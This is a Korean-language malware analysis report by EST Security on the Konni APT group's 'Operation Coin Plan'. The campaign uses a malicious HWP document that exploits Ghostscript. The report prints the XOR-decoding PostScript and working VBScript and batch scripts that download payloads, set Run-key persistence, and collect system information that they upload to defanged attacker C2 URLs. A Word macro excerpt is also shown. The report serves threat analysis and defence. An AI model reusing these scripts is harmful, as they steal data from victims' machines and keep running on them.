포스팅 내용

악성코드 분석 리포트

코니(Konni) APT 조직, HWP 취약점을 이용한 'Coin Plan' 작전 감행



안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다.


일명 '코니(Konni)' 조직으로 명명된 APT 공격그룹이 최근 HWP 한글문서 취약점을 적극적으로 활용하기 시작했습니다.


정부 후원을 받는 것으로 추정되는 '코니(Konni)' 그룹은 '김수키(Kimsuky)' 조직과의 연관성이 높으며, 최근 암호화폐 거래관련 미끼 파일을 이용하고 있습니다.


ESRC에서 두 조직간의 연결고리가 이어지고 있다는 점에 주목하고 있으며, 이번 APT 작전을 '오퍼레이션 코인 플랜(Operation Coin Plan)'으로 명명하고 지속적인 분석을 진행 중입니다.



■ 코니(Konni) 조직, HWP 취약점 활용  



새롭게 발견된 악성 문서파일은 2019년 10월 01일 제작되었고, '마켓팅플랜.hwp' 이름으로 발견되었습니다.


악성문서가 실행되면 다음과 같은 화면이 보여지고, 암호화폐 채굴(마이닝) 관련 내용을 담고 있습니다.



[그림 1] 문서 파일이 실행된 화면



 파일명

 작성자

 최종 수정자

 최종 수정일

 MD5

 마켓팅플랜.hwp

 (주)한글과컴퓨터

 Administrator 

 2019-10-01 01:20:48 (UTC)

 70b84f854b86d2ee6349ed348ef824ac



악성 HWP 문서파일 내부에는 'BIN0001.PS' 포스트 스크립트를 포함하고 있습니다.


포스트 스크립트 내부에는 악성 스크립트 명령과 쉘코드가 숨겨져 있고, 고스트 스크립트 모듈의 취약점이 작동할 경우 공격자가 지정한 명령제어(C2) 서버와 통신을 수행하게 됩니다.



[그림 1-2] 포스트 스크립트가 포함되어 있는 악성 HWP 문서 구조



■ 악성 HWP 문서 파일 내부 분석



1차 포스트 스크립트는 16바이트 XOR 키를 통해 디코딩 과정을 진행합니다.



0 1 Y135 length 1 sub %akaisowueyvb

{/Y20 exch 1 2 and pop def %akaisowueyvb

Y135  dup Y20 get <296BD6EB2CA90321BBEF5F5F4CFC10EC> Y20 15 and /Y104 8 def get xor Y20 exch put} for Y135 cvx exec 



[그림 2] 1차 포스트 스크립트 디코딩 코드 부분



첫 번째 포스트 스크립트가 디코딩 과정을 수행하면, 2차 포스트 스크립트 코드와 쉘코드 명령이 나타납니다.



[그림 3] 2차 포스트 스크립트와 쉘코드 영역 화면



쉘코드가 실행되면 다음과 같이 C2 주소로 통신을 진행하고, 'vbs.txt' 파일을 로딩하게 됩니다.



- pelham-holles[.]com/order/vbs.txt

- pelham-holles[.]com/order/no1.txt



[그림 4] 쉘코드에서 C2 주소를 확인하는 모습



'vbs.txt' 파일은 다음과 같이 Base64 코드로 작성된 인코딩 데이터를 가지고 있습니다.



[그림 5] 'vbs.txt' Base64 코드 화면



Base64 코드가 디코딩되면, Cab 압축포맷의 또 다른 파일이 만들어지는데, 이 파일은 'no1.txt' 배치 파일 명령에 의해서 'setup.cab' 파일명으로 생성되고 압축이 해제되어 내부에 포함된 추가 파일의 명령을 수행하게 됩니다.



[그림 6] 'no1.txt' 배치파일 명령 화면



'setup.cab' 압축 파일 내부에는 총 5개의 파일이 포함되어 있습니다.



- download.vbs

- no2.bat

- no4.bat

- starttemp.vbs

- upload.vbs



[그림 7] 'setup.cab' 압축 파일 내부 화면



각각의 파일은 다음과 같은 명령을 포함하고 있으며, 감염된 컴퓨터의 각종 시스템 정보를 수집해서 C2 서버로 전송하게 됩니다.



- http://pelham-holles[.]com/result/upload.php



[downloacd.vbs]


strSrcFile = WScript.arguments.item(0)

strDestFile = WScript.arguments.item(1)


dim xHttp: Set xHttp = createobject("MSXML2.ServerXMLHTTP")

xHttp.setTimeouts 0, 60000, 300000, 300000

dim bStrm: Set bStrm = createobject("Adodb.Stream")

xHttp.Open "GET", strSrcFile, False

xHttp.Send



If xHttp.Status = 200 Then

with bStrm

.type = 1 '//binary

.open

.write xHttp.responseBody

.savetofile strDestFile , 2 '//overwrite

.close

end with

End If


Set bStrm = nothing

Set xHttp = nothing


WScript.Quit


[ starttemp.vbs]


Set WshShell = CreateObject("WScript.Shell")

WshShell.Run chr(34) & "C:\Users\Public\Documents\no1.bat" & Chr(34), 0

Set WshShell = Nothing


[upload.vbs]


strURL = WScript.arguments.item(0)

strSrcFile = WScript.arguments.item(1)

strDstFile = WScript.arguments.item(2)


Dim FileData

Set objFileToRead = CreateObject("Scripting.FileSystemObject").OpenTextFile(strSrcFile, 1)

FileData = objFileToRead.ReadAll()

objFileToRead.Close

Set objFileToRead = Nothing


Dim PostData

Dim strStatus, strResponse

PostData = "FileName=" & strDstFile & "&FileData=" & FileData

  

Dim xHttp: Set xHttp = createobject("MSXML2.ServerXMLHTTP")

With xHttp

.SetTimeouts 0, 60000, 300000, 300000

.Open "POST", strURL, False

.SetRequestHeader "Content-type", "application/x-www-form-urlencoded" & strBoundary

.SetRequestHeader "Content-Length", Len(PostData)

.Send PostData

strStatus = .StatusText & " (" & .Status & ")"

If .Status = "200" Then 

strResponse = .ResponseText

Else

strResponse = "Upload Error"

End If

End With

Set xHttp = nothing


WScript.Quit



[no2.bat]


@echo off


cd C:\Users\Public\Documents\


reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\no2.bat" /f > nul


call no4.bat > nul


del /f /q no1.bat > nul


if not exist "pakistan.txt" (goto 1)

if exist "pakistan.txt" (goto EXIT)


:1


if exist "temprun.bat" (

del /f /q temprun.bat

)


download.vbs http://pelham-holles[.]com/order/%COMPUTERNAME%.txt C:\Users\Public\Documents\%COMPUTERNAME%.txt > nul

ct -decode -f %COMPUTERNAME%.txt setup.cab > nul

expand setup.cab -F:* %~dp0 > nul

del /f /q setup.cab > nul

del /f /q %COMPUTERNAME%.txt > nul

call temprun.bat > nul


timeout -t 57 /nobreak


if not exist "pakistan.txt" (goto 1)

if exist "pakistan.txt" (goto EXIT)

 

:EXIT

del /f /q %~dpnx0 > nul



[no4.bat]


@echo off


dir C:\Users\ /s > %~dp0\cuser.txt

dir "C:\Program Files\" /s > %~dp0\cprogram.txt

tasklist > %~dp0\tsklt.txt

systeminfo > %~dp0\systeminfo.txt


makecab %~dp0\tsklt.txt %~dp0\tsklt1.txt


timeout -t 5 /nobreak


upload.vbs "http://pelham-holles[.]com/result/upload.php" cuser.txt  %COMPUTERNAME%_cuser.txt >nul

upload.vbs "http://pelham-holles[.]com/result/upload.php" systeminfo.txt  %COMPUTERNAME%_systeminfo.txt >nul

upload.vbs "http://pelham-holles[.]com/result/upload.php" tsklt1.txt  %COMPUTERNAME%_tsklt1.txt >nul

upload.vbs "http://pelham-holles[.]com/result/upload.php" cprogram.txt  %COMPUTERNAME%_cprogram.txt >nul


del /f /q %~dp0\cuser.txt > nul

del /f /q %~dp0\cprogram.txt > nul

del /f /q %~dp0\tsklt.txt > nul

del /f /q %~dp0\systeminfo.txt > nul

del /f /q %~dp0\tsklt1.txt > nul

del /f /q %~dpnx0 > nul



특히, 배치파일 명령에 'pakistan.txt' 파키스탄 파일명을 사용하는 특징이 있습니다.



■ 유사 변종 사례



지난 07월 발견된 '0711_8.doc' 파일의 경우는 MS Word DOC 문서파일의 매크로 기능을 사용한 공격입니다.



[그림 8] MS Word DOC 파일을 사용한 사례



매크로 코드를 통해 다음과 같은 C2 주소로 통신을 수행하게 됩니다.



- http://www.karachi-tan[.]com/tan/order/download.txt

- http://www.karachi-tan[.]com/tan/order/starttemp.txt

- http://www.karachi-tan[.]com/tan/order/no1.txt

- http://www.downloader-hanmail[.]net/attach_down/0711-8.doc



- 생략 -

Call UnknownFunc2(0, strVal1, strVal2, 0, 0)

Call UnknownFunc2(0, "http://www.downloader-hanmail[.]net/attach_down/0711-8.doc", "C:\Users\Public\Documents\0711-8.doc", 0, 0)

Dim OpenDoc: Set OpenDoc = CreateObject("Word.Application")

OpenDoc.Visible = True

Dim WorkDone: Set WorkDone = OpenDoc.Documents.Open("C:\Users\Public\Documents\0711-8.doc")

On Error GoTo errorHandler

Dim AppWord: Set AppWord = GetObject(, "Word.Application")

AppWord.Quit False

ActiveDocument.Close

errorHandler:

If Err = 4198 Then MsgBox "Document was not closed"

End Sub



'no1.txt' 파일의 명령에 의해 'no2.txt' 파일을 다운로드하고, 순차적으로 'no3.txt', 'no4.txt', 'no5.txt' 파일 등이 작동하게 됩니다.


이때에도 이번과 동일하게 'pakistan.txt' 파일명이 사용됩니다.



[그림 9] DOC / HWP 형태로 유포된 배치파일 명령 비교



이외에도 09월 경에 유포된 다수의 HWP 변종이 유사한 배치파일 명령을 그대로 사용하고 있습니다.



■ 결론



ESRC에서는 '코니(Konni)' APT 조직이 한국의 암호화폐, 대북 분야 관계자를 겨냥한 지속적인 표적공격이 증가하여 보안 모니터링을 강화하고 있습니다.


특히, 이들 조직이 PC용 컴퓨터 기반의 위협뿐만 아니라, Android 스마트폰 단말을 대상으로 한 모바일 위협에도 가담하고 있다는 점에 우려하고 있습니다.


이스트시큐리티는 이번 '코니(Konni)' 관련 악성파일에 대해 알약 제품군에 긴급 업데이트를 반영하였습니다.


또한, 추가적인 침해지표(IoC) 내용은 '쓰렛 인사이드(Threat Inside)' 서비스를 통해 제공할 예정입니다. 






티스토리 방명록 작성
name password homepage